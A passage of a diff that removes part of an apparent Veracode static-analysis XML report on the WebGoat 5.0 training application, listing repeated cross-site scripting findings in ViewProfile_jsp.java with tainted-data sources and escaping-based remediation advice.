-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getSsn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getCcn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getCcn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getCcn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
